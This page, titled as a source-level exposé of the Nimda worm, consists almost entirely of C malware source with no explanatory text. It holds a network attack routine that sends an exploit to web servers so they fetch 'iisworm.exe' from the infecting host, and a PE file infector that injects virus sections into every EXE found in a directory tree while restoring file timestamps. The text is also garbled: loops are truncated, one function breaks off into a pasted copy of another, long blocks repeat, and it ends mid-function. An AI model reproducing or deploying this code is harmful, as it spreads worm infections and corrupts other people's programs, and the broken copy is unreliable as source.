Nimda源代码级揭秘
void attack(char *host) {
SOCKET s;
struct hostent *he;
SOCKADDR_IN sout;
int i;
s = socket(AF_INET,SOCK_STREAM,0);
he = gethostbyname(host);
if (!he) return;
sout.sin_family = AF_INET;
sout.sin_addr.s_addr = *((unsigned long *)he->h_addr_list[0]);
sout.sin_port = htons(80);
i = connect(s,(LPSOCKADDR)&sout,sizeof(sout));
if (i!=0) return;
send(s,sploit,sizeof(sploit),0);
closesocket(s);
}
void setuphostname() {
char s[1024];
struct hostent *he;
int i;
gethostname(s,1024);
he = gethostbyname(s);
strcpy(s,he->h_name);
strcat(s,"!GET /iisworm.exe");
for (i=0; i memcpy(sploit+sizeof(sploit)-102,he->h_name,strlen(he->h_name));
}
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)
/////////////////////
// Type definitions
/////////////////////
typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;
////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;
//// Fix for Visual C 5.0 heap
//extern __small_block_heap;
//////////////
// Functions
//////////////
/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}
//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;
return
( // Read file header
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
&& // Check if EXE file
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
&& // Seek to NewExe header
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
&& // Read header
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
&& // Check if PE file
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
&& // Alloc memory for file sections + virus sections
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
&&
( (Section = MEMALLOC(SizeSections)) != NULL )
&&
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
&& // Read PE sections
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
&&
( BytesRead == SizeSections )
&& // Check if there is enough room for our sections
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
&& // Only infect when entry point belongs to 1st section
// Avoid reinfections and compressors (usually perform virus checks)
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
&& // Skip DDLs
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
&& // Skip files with overlays or not aligned to file alignment
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
);
}
///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;
NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
break;
NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
////////////////////////////////////////////
// I can''''t remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA * PtrReloc;
int j;
// Let''''s do some initializations
Section = NULL;
Relocations = NULL;
HostRelocs = NULL;
Ptr = NULL;
if (ReadPEHeader(FHandle))
{
DWORD SectionRVA;
int HostNSections;
DWORD HostRelocsSize;
DWORD BytesRead;
int i;
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
HostNSections = PEHeader.FileHeader.NumberOfSections;
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Search for victim import section
for (i=0; i {
if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
{
// Do it writable
Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
break;
}
}
// Check if last section is .reloc
HostRelocsSize = 0;
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
{
// Then we''''ll join it to virus reloc section
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
{
goto L_Exit_Infect;
}
else // Read the .reloc section
{
HostNSections--;
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
}
}
else // There is no .reloc or it is not the last section
{
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{ // There are relocs but we didn''''t find them, so exit
goto L_Exit_Infect;
}
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
SetFilePointer(FHandle, 0, NULL, FILE_END);
}
FirstVirusSection = HostNSections;
// Add virus section table
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
// Reloc virus code & fix reloc sections
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
{
goto L_Exit_Infect;
}
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
// Reloc all virus sections and write them to disk
for (i=0; i {
DWORD RelocsInBlock;
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
Section[HostNSections + i].VirtualAddress = SectionRVA;
Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
if (i == VirusRelocSection) // Virus reloc section?
{
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
// Write host relocations
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
// Add virus relocations
WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
// Fill with zeros until file alignment
memset(Relocations, 0, 0x1000);
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
}
else
{
if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
{
goto L_Exit_Infect;
}
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
// Patch Visual C 5.0 heap in .data section
/*
{
DWORD * PtrHeap = &__small_block_heap;
if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
&&
((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
)
{
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
PtrHeap[3] = PtrHeap[2];
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
}
}
*/
// Do relocations in this section
while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
&&
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
)
{
DWORD Base;
Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
while (RelocsInBlock--)
{
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
}
PtrReloc++;
}
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
}
// Check if this is the Import section
if (i == VirusImportSection)
{
IMAGE_IMPORT_DESCRIPTOR * Imports;
IMAGE_THUNK_DATA * DataImports;
DWORD StartImports;
DWORD DeltaRVAs;
DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
while (Imports->OriginalFirstThunk)
{
// Fix some initialized fields in memory
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
Imports->OriginalFirstThunk += DeltaRVAs;
Imports->Name += DeltaRVAs;
Imports->FirstThunk += DeltaRVAs;
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
do
{
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
}
while ((++DataImports)->u1.AddressOfData);
Imports++;
}
}
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
MEMFREE(Ptr);
Ptr = NULL;
}
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
}//for
// Recalculate Header fields
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
PEHeader.OptionalHeader.SizeOfCode = 0;
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
for (j=0; j {
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
}
// Write new header and section table
SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
}
L_Exit_Infect:
// Free allocated memory
if (HostRelocs != NULL)
MEMFREE(HostRelocs);
if (Relocations != NULL)
MEMFREE(Relocations);
if (Section != NULL)
MEMFREE(Section);
if (Ptr != NULL)
MEMFREE(Ptr);
}
///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
HANDLE FindHandle;
HANDLE FHandle;
WIN32_FIND_DATA FindResult;
FILETIME Time1, Time2, Time3;
if (SetCurrentDirectory(Path))
{
// Search for EXE files in current directory
if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
FHandle = CreateFile(FindResult.cFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL
);
if (FHandle != INVALID_HANDLE_VALUE)
{
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
InfectFile(FHandle); // Infect file
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
CloseHandle(FHandle);
}
}
while (FindNextFile(FindHandle, &FindResult));
}
FindClose(FindHandle);
// Now search for subdirectories and process them
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
SOCKET s;
struct hostent *he;
SOCKADDR_IN sout;
int i;
s = socket(AF_INET,SOCK_STREAM,0);
he = gethostbyname(host);
if (!he) return;
sout.sin_family = AF_INET;
sout.sin_addr.s_addr = *((unsigned long *)he->h_addr_list[0]);
sout.sin_port = htons(80);
i = connect(s,(LPSOCKADDR)&sout,sizeof(sout));
if (i!=0) return;
send(s,sploit,sizeof(sploit),0);
closesocket(s);
}
void setuphostname() {
char s[1024];
struct hostent *he;
int i;
gethostname(s,1024);
he = gethostbyname(s);
strcpy(s,he->h_name);
strcat(s,"!GET /iisworm.exe");
for (i=0; i memcpy(sploit+sizeof(sploit)-102,he->h_name,strlen(he->h_name));
}
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)
/////////////////////
// Type definitions
/////////////////////
typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;
////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;
//// Fix for Visual C 5.0 heap
//extern __small_block_heap;
//////////////
// Functions
//////////////
/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}
//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;
return
( // Read file header
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
&& // Check if EXE file
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
&& // Seek to NewExe header
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
&& // Read header
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
&& // Check if PE file
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
&& // Alloc memory for file sections + virus sections
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
&&
( (Section = MEMALLOC(SizeSections)) != NULL )
&&
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
&& // Read PE sections
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
&&
( BytesRead == SizeSections )
&& // Check if there is enough room for our sections
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
&& // Only infect when entry point belongs to 1st section
// Avoid reinfections and compressors (usually perform virus checks)
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
&& // Skip DDLs
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
&& // Skip files with overlays or not aligned to file alignment
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
);
}
///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;
NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
break;
NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
////////////////////////////////////////////
// I can''''t remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA * PtrReloc;
int j;
// Let''''s do some initializations
Section = NULL;
Relocations = NULL;
HostRelocs = NULL;
Ptr = NULL;
if (ReadPEHeader(FHandle))
{
DWORD SectionRVA;
int HostNSections;
DWORD HostRelocsSize;
DWORD BytesRead;
int i;
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
HostNSections = PEHeader.FileHeader.NumberOfSections;
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Search for victim import section
for (i=0; i {
if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
{
// Do it writable
Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
break;
}
}
// Check if last section is .reloc
HostRelocsSize = 0;
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
{
// Then we''''ll join it to virus reloc section
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
{
goto L_Exit_Infect;
}
else // Read the .reloc section
{
HostNSections--;
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
}
}
else // There is no .reloc or it is not the last section
{
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{ // There are relocs but we didn''''t find them, so exit
goto L_Exit_Infect;
}
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
SetFilePointer(FHandle, 0, NULL, FILE_END);
}
FirstVirusSection = HostNSections;
// Add virus section table
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
// Reloc virus code & fix reloc sections
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
{
goto L_Exit_Infect;
}
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
// Reloc all virus sections and write them to disk
for (i=0; i {
DWORD RelocsInBlock;
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
Section[HostNSections + i].VirtualAddress = SectionRVA;
Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
if (i == VirusRelocSection) // Virus reloc section?
{
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
// Write host relocations
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
// Add virus relocations
WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
// Fill with zeros until file alignment
memset(Relocations, 0, 0x1000);
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
}
else
{
if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
{
goto L_Exit_Infect;
}
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
// Patch Visual C 5.0 heap in .data section
/*
{
DWORD * PtrHeap = &__small_block_heap;
if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
&&
((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
)
{
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
PtrHeap[3] = PtrHeap[2];
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
}
}
*/
// Do relocations in this section
while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
&&
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
)
{
DWORD Base;
Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
while (RelocsInBlock--)
{
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
}
PtrReloc++;
}
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
}
// Check if this is the Import section
if (i == VirusImportSection)
{
IMAGE_IMPORT_DESCRIPTOR * Imports;
IMAGE_THUNK_DATA * DataImports;
DWORD StartImports;
DWORD DeltaRVAs;
DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
while (Imports->OriginalFirstThunk)
{
// Fix some initialized fields in memory
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
Imports->OriginalFirstThunk += DeltaRVAs;
Imports->Name += DeltaRVAs;
Imports->FirstThunk += DeltaRVAs;
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
do
{
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
}
while ((++DataImports)->u1.AddressOfData);
Imports++;
}
}
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
MEMFREE(Ptr);
Ptr = NULL;
}
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
}//for
// Recalculate Header fields
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
